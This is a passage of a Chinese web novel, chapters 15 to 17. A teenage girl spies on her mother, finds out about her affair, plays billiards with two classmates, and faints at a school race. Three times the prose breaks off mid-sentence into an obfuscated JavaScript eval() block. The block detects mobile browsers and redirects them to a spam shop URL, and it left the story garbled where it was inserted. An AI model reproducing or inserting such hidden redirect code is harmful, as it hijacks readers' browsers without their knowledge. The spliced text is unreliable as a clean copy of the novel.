朱覃:“幻听,不能够吧。这么大太阳还能闹鬼?” 曲葵看笑了,又叫了声许一宴,两个男生终于意识到不是错觉,同时停下脚步,住嘴。 曲葵穿着条白色毛线连衣裙,坐在一道墨绿色的门背后低低地笑,水珠从湿漉漉的头发上滴下来,和阳光一同落在她凹凸有致的锁骨上。 水珠在光中溅开,皮肤白得晃神。 许一宴把纸袋往身后藏。 曲葵:“你们怎么在这?” 朱覃:“找你。” 许一宴:“散步。” 两人对视一眼,此刻心里都在想:你干吗要这么说??? 曲葵眉眼笑得弯起来,月牙一样:“嗯?你们找我有什么事?” 许一宴:“……” 许一宴:“就,饿了,正好路过,问你要不要一起,出去?” 朱覃:“……” 朱覃捂脸,不忍直视。 兄弟在努力帮你追女朋友,你在努力当木头。 没救了,这是真没救了。 “我就不去了。”曲葵站在原地,说:“我有事。” 许一宴点点头,“好,那下次。” 曲葵朝两人歉意一笑,她把小凳子朝里踢,正打算关门,只留一条缝的时候,又听见许一宴叫她名字,曲葵重新把门拉开,探头看去,“怎么了?” 许一宴摇摇头,说:“没事。” 朱覃快心梗了。 离去路上朱覃问:“我要急死了,你为什么不把东西给她啊?为什么啊!!” “没有必要。”许一宴说。 给了之后呢,他和曲葵之间会有什么改变吗? 林语邱发消息说晚上回来,曲葵一个星期没见着她了,心里没底,不想放弃和林语邱相处的时间。 曲葵赶在六点前做好了一桌菜,等待林语邱回来。她开始期待,林语邱看到自己煮饭会不会惊讶。 时间一分一秒流逝,曲葵百般聊赖,起身去书房拿了一本书——《面纱》。 曲葵用毛毯盖着膝盖,窝在沙发里读起来。 中途,曲林打来电话,说今晚和同事聚餐,不回来吃饭。 曲葵说知道,放下手机继续看。 她看得昏昏欲睡,也许是因为很少看书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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车到站,曲葵下车,抬头和还在车上的男人对视了一眼,脊背寒毛倒竖。 公交车开走。 曲葵收回视线,心中只有迷惑。 琴行老板在教两个小学生拉小提琴,拉的是《小星星变奏曲A》。曲葵摘下耳机,站门口听了一会。 感应器响了,老板转头,问:“是打算买琴吗?”当看到曲葵背上的琴盒,他又改口,“还是学琴?” 曲葵说:“我买小提琴琴弦。” “要什么牌?” “Evah Pirazzi有吗。” “有,稍等,我给你拿。” 老板拿弦的时间,穿连衣裙的小女孩问曲葵:“姐姐,你学琴多久了?” “十二年。” 戴贝雷帽的小男孩问:“你考过几级了?” “十级都考过了。” “这么厉害。” 曲葵说:“其实姐姐技巧快忘干净了,毕竟十多年没碰小提琴。” “那你多少岁啊?” 曲葵坏心眼逗小孩:“十七岁哦。” “啊???”两小孩cup烧了。 老板把弦给曲葵:“你是小琴弦断了吗,用不用帮你安装。” 原本曲葵自己是会安琴弦和调音的,但她上了高中就没怎么碰过小提琴,心里没底。曲葵答应的话已经到嘴边了,这时,她看见一个熟悉的身影从琴行外的步行道路上走经过,然后被玻璃门上贴着的装饰画挡住。 那瞬间曲葵全身的血液都被冻结。 “不用了。”她把钱猛地拍在柜台上,没等老板找零,攥紧装弦的盒子就走了出去。 15.光影 曲葵无法相信自己的眼睛,不然为什么会看见林语邱和一个从来没有见过的男人走在一起。抱着胳膊,姿势还那么亲昵。 林语邱,不是该在打麻将吗? 曲葵借着熙熙攘攘的行人遮挡,始终和前面两人保持不易发现又不易跟丢的距离。她第一次跟踪人,没想到这么熟心应手。 看着林语邱时不时扭头微笑的侧脸,曲葵重重舔了一下后槽牙。如果视线可以攻击,估计两人已经被她千刀万剐了。 两人走到商业街才停下来,站在空旷场地说话,曲葵跑到一辆冰淇淋车后面蹲下,摊主和几个买冰淇淋的女生忍不住瞥她。 “要个冰淇淋。”曲葵歪着头观察林语邱,给摊主一张十块钱,“橙子味。” 三五分钟,两人走向转角二楼的法式餐厅,曲葵把剩下的半个冰淇淋扔进垃圾桶,大步流星跟上去。店门口的服务员问她有没有预约,曲葵说:“我是前面那两个人的女儿,他们在几号桌?” 有人在弹钢琴,她没仔细听是什么曲目。她朝一个空座坐下,远远观察林语邱——一个靠窗座位,和她这刚好形成一条对角线,那里能照到阳光,看着很明亮,也很温暖。 曲葵听不清他们在说什么,但不到两分钟的时间,曲葵就发现有两个服务员在门口交谈,一个望着她,一个朝林语邱的方向走去, 曲葵早有所料,站起来冲出门口,把刚进门的一对情侣吓得靠边。她跑到对面楼楼梯拐角,果然看见服务员在和林语邱说话,而后,林语邱朝曲葵坐的那个方向看去。 但那儿已经空无一人了。 餐厅对面二楼有家台球厅,曲葵进去开了三小时球费,打算待到上晚自习。她从吧台旁边抽了根杆子,选靠窗的台球桌,工作人员帮她把球摆好。曲葵没有动球,站在窗边朝下看。这里正好能看见林语邱那个位置。 她只有一个想法,必须要证实心中的那个猜想是错误的。 她的信念,在摇摇欲坠。 打台球的人很多,球与球的撞击声此起彼伏,时不时还有进球的欢呼。有个留着狼尾头的男指导看见小姑娘抱着球杆半天不动,以为她不会,走过去问:“妹妹,需要我教你打球吗?” 曲葵保持姿势,头也不回,冷淡地说:“不需要。” 指导看她一副要去开演唱会的打扮,表情跟人欠了几百万似的苦大仇深,有些摸不着头脑:“那你……” “我在捉奸。”曲葵觉得他太聒噪,“你去找别人吧,别跟我说话了。” “……”指导一脸懵逼地走了。 与此同时,许一宴和朱覃一前一后背着书包走进台球厅,老板看见他俩,就笑:“哟,稀客。半年不见,你两小子终于来打台球了。” “其实还是想舅舅你了。”朱覃靠在吧台上和老板说话,“我两随便玩玩,走的时候再付钱。” “我要你们钱干什么,随便玩吧,有事喊我。” “好嘞。” 朱覃挑了两根杆子,闭上一只眼看笔直度,对许一宴说:“你真不能天天呆在家里刷题,偶尔也需要出来接触点新鲜事物,呼吸新鲜空气,不然人都要发霉了,我可不想在新闻上看到扬明一中某高材生累死的消息。”然后噼里啪啦就是一顿说。 “所以你的新鲜事物就是打台球?”许一宴皱了皱眉,有点想走,左脚刚抬起,朱覃拉他:“打台球怎么了,台球也是项竞技体育。看不起台球,你清高。” “放手。” “哎呀,反正舅舅又不收你钱。打呗,更好可以锻炼下你物理运算,像是什么力学、摩擦力、还有那个什么角度和轨迹运算。” 许一宴:“你真是天才。” “少来。” 找球桌时,许一宴看见站在窗边晒太阳的女生背影,他认出了她,有些吃惊。 “曲葵?” “哎哟,你这么心心念念她,还说不喜欢……”朱覃一回头,“人呢??” 曲葵心中的天平在左右来回倾斜,理智说,林语邱明明就是出轨;而女儿对母亲的依恋还在垂死挣扎——也许只是学生时代多年未见的朋友。 可是,曲葵从来没见林语邱对自己或许曲林这么笑过。 “你和朋友来打台球吗?” 许一宴声音在头顶响起。 “啊,我一个人。”曲葵朝后仰头,视角撞入一张干净白俊的脸,由于这个动作,她的头撞在原本就离得很近的许一宴胸口上。 刹那,四目相对。 扬明温差一直是个谜,前几天下雨只有7°,一出太阳直奔26°,不少人都穿着短袖短裤,许一宴也只穿着白T、黑衬衫外套和宽松牛仔裤。不知道是不是错觉,曲葵听到许一宴猛然加快的心跳,同时,后脑勺还有一种软软的触感。 曲葵震惊。 这家伙,居然,有—— “你还有胸肌啊?” 完——了!! 她在说什么,她是被魔鬼夺舍了吗,有人来把她敲失忆吗!! 曲葵:“……” 许一宴:“……” 许一宴瞪大眼睛,似乎不敢相信自己有生之年居然被同班女同学调戏。他忍不住垂头看了曲葵一眼。她今天穿着黑色小吊带,套了件棕色皮衣,下身是黑色短裙和黑色马丁靴。她只涂了层口红,却美出了侵略性。 让许一宴想到诗经中的那句“巧笑倩兮,美目盼兮”。 偏偏她说了那种不符合气质的话,许一宴飞快转移目光。曲葵刷地抬起头。 两人迅速分开,一左一右,中间隔了一米。 许一宴足足沉默了半分钟,白皙英俊脸上有种被阳光晒过后的红潮。 “……是流氓吧。” 虽然音量轻如呢喃细语,但曲葵听得很清楚,低头挡着脸,想死,但是更想笑。 好单纯啊,许一宴。 …… 许一宴想起曲葵背上的琴盒,转移话题:“你会弹小提琴啊?” “会一点。” 许一宴思忖片刻,又问:“钢琴你会吗?” “会一点。”曲葵还是答。 许一宴像在思考什么,不再问。 那边朱覃终于找到许一宴,大步流星走过来,一边说:“好啊你小子,把我撂一边……”曲葵闻声转头,朱覃认出她,惊呼:“啊,曲葵!你怎么也在这。” 曲葵微微一笑,说,“你好。”她礼貌地说:“我还不知道你的名字。” “朱覃,西早覃。”朱覃抱着球杆,站许一宴旁边,歪着头,用两人才能听得到的声音问:“行啊你,眼睛这么尖,是不是一眼就看见人家了。” 许一宴说:“你瞎。” 朱覃:“滚滚滚。” 曲葵看他俩拌嘴:“你知道我的名字,我就不做自我介绍了。” “我们这届高三就没人不知道你和许一宴的名字。”朱覃说,“反正都认识,要不我们一起打吧。” “可以啊。”曲葵点头,依旧站着没动。 许一宴见她心不在焉看着窗外,不动声色低头,空地上没有人。收回视线,许一宴主动说:“比一场?” 曲葵不知道林语邱什么时候离开,可能是和许一宴说话的时候。至于他们去了哪里,曲葵不想脑补。 曲葵舔了舔嘴唇,说:“来吧,谁先进黑球谁赢。” 许一宴道:“你开球。” 台球厅的普遍打法是中式八球,又叫十六彩,分别为十五个彩球和一个作为母球的白球。彩球中又包含六个全色球,六个花色球以及一个黑色八号球。 许一宴和朱覃朝两边站,给曲葵腾出位置。 曲葵脱下手腕上的小皮筋,把头发扎成高马尾。皮衣有些限制动作,曲葵脱掉皮衣,露出紧致的黑色小吊带,她身材匀称,不胖不瘦,背很直,腰很细,看上去似乎一只手就能揽过。 许一宴见状,把衬衫脱下来:“穿上,别着凉。” “谢了。”曲葵没有拒绝,伸手接过,穿上,许一宴的衣服尺寸大,松松垮垮,遮住短裙。许一宴脸上没什么表情,顺手拿走她的外套。 一旁朱覃看得咬腮帮:啧,讨厌,没眼看,恋爱的酸臭味。 曲葵拿起蓝色巧粉擦拭球杆,放置白球,手撑在球桌上,球杆放在左手翘起的大拇指间,俯身,球杆对准白球,白球瞄准彩球。 运力,咚,出杆冲球。 随着系列撞击声,白球把十五个彩球全部撞得四散而开,其中4号全色球落进右袋。 朱覃拍手喝彩,旋即扭头和许一宴说悄悄话,“她怎么什么都会啊?” “因为她优秀。”许一宴说。比起台球,他更在意曲葵会弹钢琴的事,曲葵是她吗? serein。 “切,就没见你这么夸过我。”朱覃白他一眼。 “运气好。”曲葵擦拭球杆,观察桌面情况,把落在肩上的长发轻轻往后甩。 说完,她停下来,对准靠近左袋的1号球。 击球,白球撞击库边向上弹,击中1号球,随后1号球也落袋。曲葵走到白球旁,中袋的位置有一颗7号球,被许一宴的9号和12号球包围着。 曲葵微微挑眉。 这颗球有些难度,如果白球击打的力度或者角度不对,可能会打到两边的球。 于是,曲葵换了个站位。 逐渐开始有人注意到这边在比赛,纷纷围过来。 曲葵缓缓呼出一口气,俯身击球。咚,白球快速穿过9、12号球,击中7号球,进袋,而两颗球没有走动,成功了! 围观的人开始欢呼,越来越多的人被声音吸引过来。 此刻曲葵只剩2、3、5、6四个球。不过她在打5号球的时候出错,白球击打角度不对,5号球眼看都快进袋,撞在边沿,又弹回来。 观众发出惋惜的声音。 “该你了。”曲葵把许一宴手上的衣服拿过来。她不在意输赢,只想见识许一宴有多会打台球。 许一宴的姿势动作堪称优雅,不疾不慢,看上去似乎胸有成足。 他会很多技巧,比如翻袋球、克拉克、平行勾球等等,并且每次白球击球后的运动角度和落点位都恰到好处。还剩11号球和黑八的时候,许一宴用反向走位的技巧,让白球击中11号球时又借力折返回黑八下方,白球停稳时,许一宴顺势打进黑八。 围观人群看得一愣一愣,还有女孩请许一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921185|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴去指导台球技术,被他拒绝了。 离上晚自习还有两小时,三人走出台球厅。 “你有什么打算?”许一宴问曲葵。 “先把小提琴放回家,然后找个地方吃饭,一起吗?” “好。” 两男生没骑车,本想打的,路边站了几分钟,连的士车尾气都没闻见。朱覃甩甩发酸的手臂,“靠,司机都下班了吗?早知道就骑车过来了。” 开朝学校方向的公交车来了,曲葵抬头看了一眼许一宴,许一宴刚好也低头看她,两人想在一处,说:“公交车。” “我没零钱啊。”朱覃掏了掏口袋。“许一宴,你有没?” “没。” “我有。”曲葵晃了晃手中三张买包子找的零钱。 这趟公交的终点站是火车站,同样拥挤,没有空位,他们只好站在后车门附近。途中一个急刹车,曲葵被前面胖子挤得朝后退,马丁靴一滑,许一宴下意识扶住她的腰,把她虚圈在怀里。 曲葵站稳后,才发现她和许一宴离得有多近,只要抬起头,就能看见他翕动的睫毛,以及淡粉色嘴唇上那颗性感的痣。 许一宴喉结上下滚动,无声无息地咽口唾液。公交行驶平稳,他立刻松开有些放在曲葵腰上的手,背在身后,移开视线,说:“那个,你和我换下位置吧。” “哦。” 两人交换站位,曲葵头发有些凌乱,打球时出了点汗,有缕不长不短的头发黏在脸上,许一宴看见,抬手将头发拿了下来。 他的手不可避免碰曲葵的脸,一如既往带着凉。曲葵忍不住眨眼。 放回小提琴,餐馆吃完饭,曲葵去旁边小卖铺买了三瓶橙子味的弹珠气泡水:“来吧朋友们,感受点夏天的味道。” “可现在都快入冬了。”朱覃说,“树叶都掉完了。” “喝的是情怀嘛。”曲葵拧开瓶盖,把瓶口玻璃珠往下摁,弹珠落进瓶里,气泡上涌,发出清透的滋滋声,“敬已经过去的夏天。” 许一宴和她碰瓶。玻璃撞击声清脆。 “等等等等,我怎么打不开。”朱覃那瓶气泡水好像被人摇过,二氧化碳气体顶着玻璃珠,特别难摁。 朱覃大拇指使劲往下摁,玻璃珠纹丝不动。 “我看看。”许一宴歪头过去,没想到这时玻璃珠猛地下落,液体随气泡翻涌,噗地喷出来。 “妈呀许一宴!!快躲开。” 朱覃话音还没落下,许一宴躲避不及,两人被溅了一脸。 “?”许一宴懵逼,睫毛上还挂着一滴汽水,随着眨眼掉落在脸上,有些凉。 “朱覃、”许一宴咬牙切齿,一字一顿:“看你干的好事。” “意外,啊哈哈哈!都是意外。”朱覃眼见许一宴握拳,心觉不妙,拔腿就跑,“干嘛打我啊啊啊,明明我也被喷了满脸!——” 曲葵因为站在许一宴旁边,被整个挡住了,汽水没有波及到她。 这画面太美丽,曲葵忍俊不禁。看着两个男生一前一后的背影,忽然升出种迫切念头,她情不自禁拿出手机点开相机功能,对准两人。 瞄准线内,画面聚焦。 长期训练的体育生体力耐力非常人所比,何况朱覃还是这届体育生的速跑冠军。朱覃看许一宴追不上,隔着半条街停下来做鬼脸打屁股。 “幼不幼稚。”许一宴顿时不想打他,怕脏了自己手。停下脚步,站在老街一面刚好能照到夕阳的石灰粉墙下,回头寻找曲葵。 同一秒,曲葵按下快门键。 咔嚓。黄昏之中男生回眸的瞬间,画面永远定格。 “你们感情真好。”曲葵把小包抽纸给许一宴。 “跟狗感情好不了。”许一宴抽出一张擦掉汽水。额前碎发上的擦不干净,打着绺,摸上去有些黏手。 朱覃这小子去体训了,早跑没影,许一宴无奈,“曲葵,我闻上去是不是一股汽水味?” 曲葵笑,狡黠道:“你现在就像一瓶超大号汽水!” 曲葵是浓颜系,但气质很多变。素颜纯,化妆艳;不笑冷,笑时甜,露出两个小小的梨涡和可爱的虎牙,如同春雪消融,很能感染人的情绪。 许一宴见她笑,忍不住跟着笑:“这是什么比喻。” 少年的笑容干净纯粹,与带着凉意的秋风,被树枝分割破碎的黄昏夕阳一同沁进在曲葵瞳孔里。 霎时在她心上激起一阵永不止歇的涟漪。 很快许一宴止了笑,低头看表,说:“我们还有三分钟。” 曲葵反应过来他说的是离晚自习还有三分钟。曲葵拉上许一宴手,在他刚投来不解神情时大声说:“跑!快跑啊许一宴!” 然后在许一宴还话还没说出来时,拉着他飞奔起来。 他们迎着风,黄昏和行人,冲进快要关上的校门,检查校牌的保安大叔远远叫他们,都被曲葵抛之脑后。 半天没扫的地面又积了层落叶,风吹枯叶被扬得很高,曲葵和许一宴从飞舞的落叶中穿行而过,仿佛从一段命运迈进另一段命运的河。 在这短暂时刻,曲葵得到了她的青春。那是她最快乐的时光。 可惜快乐短暂,唯有痛苦长存。 16.目眩 “你要上哪去?” 林语邱穿上风衣准备出门,曲葵伸手把门一挡。刚打开的门又重新关上,林语邱不悦地看着她:“干吗?” 那天林语邱回来变得越来越不对劲,心中像揣着什么事,也不擦拭她的乐器了。 有天晚上曲葵倒水经过她的房间,隐约听到林语邱在和人打电话。曲葵耳朵贴着门听了一会,林语邱说话声音太小,又含糊,她听不清,不知道和林语邱打电话的是谁。 曲葵在林语邱洗澡的时候溜进她的房间看她手机,林语邱手机设置了密码,她尝试一家三口的生日,林语邱和曲林的结婚纪念日,但是都不对。 这更加笃定曲葵心中的那个想法。 “打牌啊。”林语邱不假思索回答,过了会儿说,“什么时候我出门干嘛还需要向你报备了?你不是快迟到了吗,还不赶紧走?” 曲葵问:“妈妈,你有话想和我说吗?” 林语邱眉间出现一条浅浅的纹,瞥向曲葵,把她放门上的手拿开,开门提包走出去:“没有!” 曲葵跟上去,在她后面喊:“妈!我想和你谈谈!” 林语邱不理她,直径朝前走。 即便心中早有所预料,不安感却越来越强烈,曲葵还记得林语邱不告而别的时间是2012年的1月1日,可她此刻有一种十分强烈的就要失去林语邱的感觉。 “林语邱!” 曲葵看着林语邱远去的背影,口一张,几乎要喊出:我都看见了,你和一个我从来没有见过的男人在一起。那就是你离开的理由吗? 有个声音告诉她不能说,一旦说了,林语邱和曲林之间就完了,她和林语邱之间也完了,在出口的瞬间。 这个念头刚冒出来,便如难以阻止的野草朝周围蔓延,在看似短暂又被拉得很长的时间里,曲葵彻底失去了所有声音。 揭穿与否,终究只是时间问题。 ** 不久前班上就开始流传隔壁学校因为受不了压力,有两个高三学生跳楼自杀,为了缓解学生压力,学校破天荒给高三举办一场冬季运动会,听说一月份还有个元旦晚会。 周飞在讲台上问:“女生的800米还有没有人参加?” 女生全当没听见,依旧在讨论星座和言情小说的剧情。 周飞见没人理他,又说了一遍,依旧被当成透明。他有点烦了,曲起手指敲敲讲台,“上课前就要把报名单给老王了,没人参加我就自己看着写名字了啊,到时候别怪我。” “写我名字吧。”曲葵说。她也不想跑800米,不过她迫切需要找点事情来做,不然会无止境地胡思乱想下去。 “好的。”周飞向她投来一个得救的眼神。 邻桌的几人还在聊八卦,从学生跳楼聊到了许一宴竞赛。 许一宴不参加运动会,这几天不来学校。他在竞赛中取得市区小组的第一名,取得CMO的邀请通知单后,变得更忙了,上课的时间也在刷题,老师见到也不会说什么——十一月初的月考他还保持着年级第一。 大家都纷纷猜测他会被保送到哪所名牌大学。 两天后,星期四,运动会到了。 这天没有出太阳,天空惨淡,被大片大片青云遮住。高三(7)班把田径场围栏后边的那块地占了当据点,离很多比赛项目都很近,是一个很好的观看地点。 女生的800米比赛被安排在下午3:00。 曲葵很不巧来了例假,她的例假向来很准,这个月提前了一周。没有带卫生巾,察觉到的时候,已经要比赛了。 比赛前许一宴发消息。 【你比赛时间是什么时候?】 曲葵手机放在据点的桌箱里,没有看见。 穿着毛衣不好跑步,曲葵把毛衣脱下来,裁判老师发号码牌给女生们,曲葵拿到的是40。 身旁的女生开始紧张了,几个人分着一罐红牛喝。曲葵面无表情站在那里,仿佛与这场比赛毫不相关。 片刻,她们站在跑道上,裁判按下发令枪,一声震耳欲聋的枪响,曲葵跑起来。 耳边声音嘈杂无比,加油声、笑声、她的呼吸声,汇聚成一根丝线拽住她的四肢,曲葵拼命向前跑,想要挣脱它的桎梏,但那根线始终在身后穷追不舍,想将她拖回过往深渊。几分钟很短又好像很长,曲葵不知道自己什么时候跑过了终点线,有人提醒她不用再跑了,她便停下走回草坪上,有人围上来递水给她,和她说话。 曲葵什么话都听不见,只有蜜蜂群的嗡嗡声,吵得她想捂耳朵。几个男同学看她嘴唇发白,大口喘着气,额头上蓄满冷汗,上前想要伸手扶她,被拍开了。 “别碰我。” 她脱掉身上号码牌丢地上,拨开前面挡住她的几个人,独自朝前走,走着走着,腿一弯就倒下去。 有人扶住她,确切来说是抱住她。 “曲葵!”耳边听到许一宴声音,曲葵还以为出现幻觉,但鼻尖立刻涌进橘子洗衣液的味道。 是她喜欢的味道。 曲葵抱住那股味道。 曲葵醒来之后,在校医室里,校医在为她注射葡萄糖溶液。曲葵有点懵,转头,看见站在身边的许一宴。 他绷着脸,表情很冷,目不转睛看她。 校医拔掉针,摁上棉花止血,“就是低血糖,送来的也很及时,现在已经没事了。” “谢谢您。”许一宴说。 “让她休息一会吧,如果有糖量高的食物可以给她吃。”校医说完就离开了。 “许一宴,”曲葵迟疑:“你为什么会来?” “我给你发消息,你没回我。”许一宴反问,“为什么会低血糖?没好好吃饭?” 曲葵不知道要先回答哪个问题,“你什么时候发的消息啊?” “两点半。”许一宴说,“不要转移话题。” “是我自己的问题。”曲葵在身边找手机,没有。她的毛衣被许一宴给她穿上了。 “那时候我手机放班级据点了。” “你先躺会,我给你拿回来。”不知是不是许一宴故意把声音压低了,听上去有一种很生气的意味,“你想吃什么,我给你买。” “能帮我买包卫生巾吗?”曲葵拉住许一宴袖子,小声说,“不要生气,我没有不好好吃饭。” 例假第一天剧烈运动,还吹冷风,曲葵清醒后,想会不会肚子痛。 许一宴离开的时间不长,提着一个塑料袋进来,曲葵痛得说不出话,眉头拧在一起。 “是不是肚子痛。”见曲葵捂着腹部,许一宴便一目了然,把手机给她,从塑料袋里拿出一包粉色包装的卫生巾,抽出两个。 “谢谢。”曲葵从椅子上站起来,许一宴抓着她的胳膊。男生鬓角被汗水濡湿,脸上泛红,胸前起伏剧烈,曲葵就知道他一路在跑。 “用不着对我说谢谢。” 卫生间不远,曲葵说:“你休息一下,我能走。” 她讨厌医用品发出来的味道,让她联想到死亡,不过不至于到害怕的地步,她不愿意许一宴看到更多她的脆弱。 许一宴脱下羽绒服,给曲葵穿上,拉好拉链,说:“去吧,等会我送你回家。”他去据点拿手机的时候,正好遇到班主任,顺便帮曲葵拿了张假条,居然立刻用到了。 曲葵回来,许一宴找校医接了杯热水,喝下后,曲葵感觉身上不再那么冷。许一宴牵着曲葵出医务室,路上遇到好多认识他们的学生,都兴致勃勃议论他们。 一说这个曲葵就无奈,她原本只是简简单单跑个步,没想到因为低血糖晕倒。许一宴背着她跑大半个学校去校医室的事情半个高三的学生都看见了。 许一宴把假条给门卫,校门缓慢打开,曲葵跟着许一宴走出去,“许一宴,我跑了多少名?” “第三名。”许一宴没在这个话题上停留太久,拿出一个蛋黄派,“你饿吗?” “不饿。” “行。”许一宴只是临时来学校,电动车就停在学校外的人行道上,他把钥匙插电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933346|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动车里,等曲葵坐上去。“需不需要给你爸爸妈妈打电话?” 曲林在上班,林语邱知道后会骂她,家里大概率没有人,告诉他们也没用,曲葵摇头。 “风大,你抱着我的腰。”许一宴语气强硬。 如果再给曲葵一次选择的机会,她也许不会参加800米跑步比赛,那样例假来的时候就可以找同学借卫生巾,她就不会因为低血糖晕倒,许一宴不会替她请假,她不会回家,也就不会看到接下来的事情。 有的事情必然会发生,只是选择决定了事情发生的先后顺序。 天气冷,平日在外聊天的邻居没有出来,胡同里很安静。许一宴把车骑进去,转过弯,爬山虎下停着一辆从未见过的银色小轿车缓慢进入曲葵视线,再往后一点,曲葵看见林语邱。 她站在电线杆下,和那天曲葵看见的男人拥抱、轻吻。 那画面,曲葵永生难忘。 许一宴没见过林语邱,疑惑怎么有两人在曲葵家门口做这种事情。环抱在他腰间的双手猛然收紧,随后有松开,许一宴停车回头。曲葵的视线越过他,直直盯着前面的两人,瞳孔收缩。 那瞬间许一宴全都明白了。 “曲葵,别看。”他想用手遮住曲葵双眼,或者将她转过来抱住。可是太晚了,他什么都做不到。 短暂的分秒被拉长成一个世纪,曲葵成了这场荒唐哑剧中的主角,而许一宴是观众。 曲葵的失笑声打破死寂。 林语邱听到笑声,匆忙将男人推开,她转头,和坐在许一宴身后的曲葵不偏不倚对上视线。曲葵清楚地看见林语邱那湿润的嘴唇、蹭花的口红,以及震惊的表情。 “曲葵?!你为什么会在这里?” 曲葵闭上眼睛,希望看到的只是幻觉,一个快要醒过来的梦。重新睁开后,她发现眼前的画面并没有任何改变。 命运总是无情,不仅夺走她的一切,还让那些过往所带来的痛苦,又一次在她眼前展开。 曲葵用她此生听起来最平静的声音,对林语邱说:“好厉害的林女士,居然在家门前偷鸡摸狗。以前不是很抗拒别人讨论我们家,怎么,现在又不怕别人看见笑话了。” 林语邱仍然站在原地不动,只是那样沉默地看她,眼中没有什么悔恨,只有龌龊事情被外人发现的惶恐,还有些疑惑她为什么会出现在这里。 “你根本就不懂。”林语邱这样对她说。 “他妈给我闭嘴!!”曲葵吼道。 她捡起堆在墙角的一块砖,步伐平稳朝林语邱走过去,然后在看见林语邱惊恐后退之时大笑。手高高举起,身后传来阻力,原来是被许一宴拉住了。 曲葵眉头紧锁,睁着发红的双眼回过头。 许一宴朝她摇头。 “不要这样,曲葵。”他轻声地说。像在安抚,又像在恳求。 手中的砖块重重掉落在她和许一宴的脚边,摔得四分五裂,摔得肝肠寸断。碎得一如她与她的之间所剩无几的情分。 曲葵笑声听起来像在哭,她越笑越觉得她这人生真是糟糕透顶毫无意义了,重来一遍又怎样,除了看清那些血淋淋的被掩盖起来的真相,又能改变什么吗?她笑得捂住肚子,弯下腰来,分不清是生理痛还是心痛,没什么力气地往地上栽。许一宴眼疾手快架住她两条胳膊,托住她,才让她不至于栽到脏兮兮的地上。 她一错不错地望着林语邱,发现这个失而复得的母亲,此刻变得无比陌生。 是了,她一点也不了解她的母亲。哪怕重新再过一次十七岁十八岁,也还是不了解,猜不透。 于是曲葵说:“我只是吓吓你啊。妈,我以前怎么没发现,原来你那么胆小,那么怕死。” 她知道这句话不是她的本意,哪有儿女会不亲近母亲,可她却无法控制地任由这些话从口中一字字吐出来,难掩恶意,裹挟报复。看着林语邱越来越难看的脸色,只觉心中痛快极了。 她终于变成了令自己感到恶心的怪物,在许一宴面前。 17.梦魇 曲葵脱下外套,还给许一宴:“许一宴,你回去吧。” 许一宴眸中全是复杂神色,望着她薄唇微张又闭上——他想要开口说点什么安慰的话语,却发现说什么都是多余的。 “我能解决,不用担心我。”曲葵朝他干笑,径直走向门口,转动钥匙打开,进去,反锁。 她已经分不清是头痛还是腹痛,如果再不进家门的话,快忍不住了。 咚咚咚。 林语邱把门拍得震耳欲聋,街坊邻居全因声音出门看戏,曲葵无动于衷。回到房间,闭眼倒在床上。 她不愧是个秉性顽劣的人,半个月来积压在脑中的忧虑在撞见林语邱出轨的那一刻消失得无影无踪,内心中甚至一种如释负重的快感——原来她不告而别的原因不是我,错的根本就不是我,所以我为什么要讨好一个不爱我的人。 母爱算个屁。 愤怒、难过、沮丧已经深切体会过了,此刻曲葵对林语邱只有失望透顶。 如果林语邱真的爱她,怎么会在她离长大成人最重要的时候不告而别,其实仔细想想,她已经在没有母爱的条件下活过九年,彻底习惯林语邱不在身边的日子。 曲葵告诉自己,她不需要强求的爱,那样只会让两人都痛苦。比起缺失的亲情所带来的痛苦,还没有此刻腹部绞痛更强烈。 当初她独自在社会里摸打滚打,受尽委屈,被当做靠脸上位的妖艳贱货时,林语邱又在哪?曲林误入歧途,日日沉迷酒精慢性自杀的时候,林语邱又在哪? 凭什么要为了这种人放弃音乐,林语邱离开的原因,甚至都不是她。 家里没有止痛药,只有睡着才能减轻疼痛。 曲葵忘记盖被子,眼一闭就沉沉睡去,身体一会冷儿一会儿热,意识也跟着两重温度的逼迫下逐渐远去。 被踢坏门锁才进来的曲林叫醒时她已经高烧到40度,周身像置身在没有遮蔽之物的严寒中。 或许死去的世界就是这么冰冷,像曲林躺在停尸间闭着眼睛不再呼吸那样。 意识游离间曲葵好像又回到未来,二十六岁,曲林去世的那一天。 她站在医院里,沿着墙滑下去,四肢发软,怎么都站不起来。寒冷从脊背爬上她的大脑,胸腔中剧烈的心跳足以证明她还活着,可她仍有种强烈的,变成行尸的感觉。 做笔录的警察对她说:“目击者是跑长途的客车司机,死亡时间凌晨六点三十一分。当时整个人埋在马路旁边的雪堆里,露出一只脚来。救出来的时候,人已经没气了。” “人体血液中酒精浓度很高,路边监控拍到他自己摔进去,身上没有伤口,酒后丧失知觉冻死,是个意外事故。” “……我知道了,谢谢。”她听见自己这么说。麻木的声音,哪怕此刻刀捅进躯体,血管破裂,五窍殷红,好像也就那样,不痛不痒。 只有冷。 